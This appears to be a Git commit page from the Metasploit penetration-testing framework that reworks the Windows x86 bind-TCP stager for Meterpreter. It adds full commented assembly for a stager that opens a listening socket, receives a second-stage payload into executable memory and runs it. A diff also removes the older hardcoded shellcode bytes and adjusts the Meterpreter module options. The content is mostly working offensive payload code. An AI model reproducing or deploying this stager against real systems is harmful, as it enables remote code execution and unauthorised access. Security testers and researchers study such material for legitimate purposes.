Initial work to support fault-tolerant connectivity
This code adjusts the bind_tcp stager for x86 so that the listener socket isn't close for meterpreter payloads. This means that meterpreter can make an educated guess as to whether or not the payload was a bind or tcp payload, and from there can attempt to establish communications in the same way as before should something break along the way. Some simple adjustments to the x64 meterpreter stage as well, but more to come here.bug/bundler_fix
parent
38a77c930e
commit
a9804dff62
|
@ -0,0 +1,142 @@
|
||||||
|
#-*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Implements stageless invocation of metsrv in x86
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
module Payload::Windows::BindTcp
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
include Msf::Payload::Windows
|
||||||
|
|
||||||
|
def asm_bind_tcp(opts={})
|
||||||
|
asm = %Q^
|
||||||
|
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||||
|
push 0x5F327377 ; ...
|
||||||
|
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||||
|
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||||
|
call ebp ; LoadLibraryA( "ws2_32" )
|
||||||
|
|
||||||
|
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||||
|
sub esp, eax ; alloc some space for the WSAData structure
|
||||||
|
push esp ; push a pointer to this stuct
|
||||||
|
push eax ; push the wVersionRequested parameter
|
||||||
|
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||||
|
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||||
|
|
||||||
|
push 8
|
||||||
|
pop ecx
|
||||||
|
push_8_loop:
|
||||||
|
push eax ; if we succeed, eax will be zero, push it 8 times for
|
||||||
|
; later ([1]-[8])
|
||||||
|
loop push_8_loop
|
||||||
|
|
||||||
|
; push zero for the flags param [8]
|
||||||
|
; push null for reserved parameter [7]
|
||||||
|
; we do not specify a WSAPROTOCOL_INFO structure [6]
|
||||||
|
; we do not specify a protocol [5]
|
||||||
|
inc eax ;
|
||||||
|
push eax ; push SOCK_STREAM
|
||||||
|
inc eax ;
|
||||||
|
push eax ; push AF_INET
|
||||||
|
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||||
|
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||||
|
xchg edi, eax ; save the socket for later, don't care about the value of
|
||||||
|
; eax after this
|
||||||
|
|
||||||
|
; bind to 0.0.0.0, pushed earlier [4]
|
||||||
|
; family AF_INET and port 4444
|
||||||
|
push 0x#{[opts[:lport]].pack('v').unpack('H*').first}0002
|
||||||
|
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||||
|
push 16 ; length of the sockaddr_in struct (we only set the first
|
||||||
|
; 8 bytes as the last 8 are unused)
|
||||||
|
push esi ; pointer to the sockaddr_in struct
|
||||||
|
push edi ; socket
|
||||||
|
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||||
|
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||||
|
|
||||||
|
; backlog, pushed earlier [3]
|
||||||
|
push edi ; socket
|
||||||
|
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||||
|
call ebp ; listen( s, 0 );
|
||||||
|
|
||||||
|
; we set length for the sockaddr struct to zero, pushed earlier [2]
|
||||||
|
; we dont set the optional sockaddr param, pushed earlier [1]
|
||||||
|
push edi ; listening socket
|
||||||
|
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||||
|
call ebp ; accept( s, 0, 0 );
|
||||||
|
^
|
||||||
|
|
||||||
|
#if opts[:close_socket]
|
||||||
|
if false
|
||||||
|
asm << %Q^
|
||||||
|
push edi ; push the listening socket to close
|
||||||
|
xchg edi, eax ; replace the listening socket with the new connected socket
|
||||||
|
; for further comms
|
||||||
|
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||||
|
call ebp ; closesocket( s );
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
|
xchg edi, eax ; replace the listening socket with the new connected socket
|
||||||
|
; for further comms
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
; Receive the size of the incoming second stage...
|
||||||
|
push 0 ; flags
|
||||||
|
push 4 ; length = sizeof( DWORD );
|
||||||
|
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||||
|
push edi ; the saved socket
|
||||||
|
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||||
|
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||||
|
; Alloc a RWX buffer for the second stage
|
||||||
|
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||||
|
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||||
|
push 0x1000 ; MEM_COMMIT
|
||||||
|
push esi ; push the newly recieved second stage length.
|
||||||
|
push 0 ; NULL as we dont care where the allocation is.
|
||||||
|
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||||
|
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
; Receive the second stage and execute it...
|
||||||
|
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||||
|
push ebx ; push the address of the new stage so we can return into it
|
||||||
|
read_more: ;
|
||||||
|
push 0 ; flags
|
||||||
|
push esi ; length
|
||||||
|
push ebx ; the current address into our second stage's RWX buffer
|
||||||
|
push edi ; the saved socket
|
||||||
|
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||||
|
call ebp ; recv( s, buffer, length, 0 );
|
||||||
|
add ebx, eax ; buffer += bytes_received
|
||||||
|
sub esi, eax ; length -= bytes_received, will set flags
|
||||||
|
jnz read_more ; continue if we have more to read
|
||||||
|
ret ; return into the second stage
|
||||||
|
^
|
||||||
|
|
||||||
|
asm
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_bind_tcp
|
||||||
|
conf = {
|
||||||
|
:lport => datastore['LPORT'].to_i,
|
||||||
|
:close_socket => datastore['StagerCloseSocket'] || true
|
||||||
|
}
|
||||||
|
|
||||||
|
asm = asm_bind_tcp(conf)
|
||||||
|
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
|
@ -5,51 +5,37 @@
|
||||||
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/windows/bind_tcp'
|
||||||
require 'msf/core/handler/bind_tcp'
|
require 'msf/core/handler/bind_tcp'
|
||||||
|
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 285
|
CachedSize = 285
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Windows::BindTcp
|
||||||
include Msf::Payload::Windows
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Bind TCP Stager',
|
'Name' => 'Bind TCP Stager',
|
||||||
'Description' => 'Listen for a connection',
|
'Description' => 'Listen for a connection',
|
||||||
'Author' => ['hdm', 'skape', 'sf'],
|
'Author' => ['hdm', 'skape', 'sf'],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
'Handler' => Msf::Handler::BindTcp,
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
'Convention' => 'sockedi',
|
'Convention' => 'sockedi',
|
||||||
'Stager' =>
|
'Stager' => { 'RequiresMidstager' => false }
|
||||||
{
|
|
||||||
'RequiresMidstager' => false,
|
|
||||||
'Offsets' => { 'LPORT' => [ 192, 'n' ] },
|
|
||||||
'Payload' =>
|
|
||||||
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
|
||||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
|
||||||
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
|
||||||
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
|
||||||
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
|
||||||
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
|
||||||
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
|
||||||
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
|
||||||
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
|
|
||||||
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
|
|
||||||
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" +
|
|
||||||
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" +
|
|
||||||
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" +
|
|
||||||
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" +
|
|
||||||
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
|
|
||||||
"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
|
|
||||||
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
|
|
||||||
"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
|
|
||||||
}
|
|
||||||
))
|
))
|
||||||
|
|
||||||
|
# TODO: find out if this is the best way to do it.
|
||||||
|
register_options([
|
||||||
|
OptPort.new('LPORT', [ true, "The local listener port", 4444 ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
generate_bind_tcp
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -6,9 +6,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/payload/windows/reflectivedllinject'
|
require 'msf/core/payload/windows/reflectivedllinject'
|
||||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
|
||||||
require 'msf/base/sessions/meterpreter_x86_win'
|
require 'msf/base/sessions/meterpreter_x86_win'
|
||||||
require 'msf/base/sessions/meterpreter_x64_win'
|
|
||||||
require 'msf/base/sessions/meterpreter_options'
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
|
||||||
###
|
###
|
||||||
|
@ -16,6 +14,7 @@ require 'msf/base/sessions/meterpreter_options'
|
||||||
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
|
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
include Msf::Payload::Windows::ReflectiveDllInject
|
include Msf::Payload::Windows::ReflectiveDllInject
|
||||||
|
@ -26,16 +25,18 @@ module Metasploit3
|
||||||
'Name' => 'Windows Meterpreter (Reflective Injection)',
|
'Name' => 'Windows Meterpreter (Reflective Injection)',
|
||||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
|
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
|
||||||
'Author' => ['skape','sf'],
|
'Author' => ['skape','sf'],
|
||||||
'PayloadCompat' =>
|
'PayloadCompat' => { 'Convention' => 'sockedi', },
|
||||||
{
|
|
||||||
'Convention' => 'sockedi',
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Session' => Msf::Sessions::Meterpreter_x86_Win))
|
'Session' => Msf::Sessions::Meterpreter_x86_Win))
|
||||||
|
|
||||||
# Don't let people set the library name option
|
# Don't let people set the library name option
|
||||||
options.remove_option('LibraryName')
|
options.remove_option('LibraryName')
|
||||||
options.remove_option('DLL')
|
options.remove_option('DLL')
|
||||||
|
|
||||||
|
# TODO: figure out of this is the best way to do it.
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('StagerCloseSocket', [false, "Close the listen socket in the stager", false]),
|
||||||
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def library_path
|
def library_path
|
||||||
|
|
|
@ -22,15 +22,21 @@ module Metasploit3
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows x64 Meterpreter',
|
'Name' => 'Windows Meterpreter (Reflective Injection x64)',
|
||||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged)',
|
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
|
||||||
'Author' => [ 'sf' ],
|
'Author' => ['skape','sf'],
|
||||||
|
'PayloadCompat' => { 'Convention' => 'sockedi', },
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Session' => Msf::Sessions::Meterpreter_x64_Win
|
'Session' => Msf::Sessions::Meterpreter_x64_Win))
|
||||||
))
|
|
||||||
|
|
||||||
options.remove_option( 'LibraryName' )
|
# Don't let people set the library name option
|
||||||
options.remove_option( 'DLL' )
|
options.remove_option('LibraryName')
|
||||||
|
options.remove_option('DLL')
|
||||||
|
|
||||||
|
# TODO: figure out of this is the best way to do it.
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('StagerCloseSocket', [false, "Close the listen socket in the stager", false]),
|
||||||
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def library_path
|
def library_path
|
||||||
|
|
Loading…
Reference in New Issue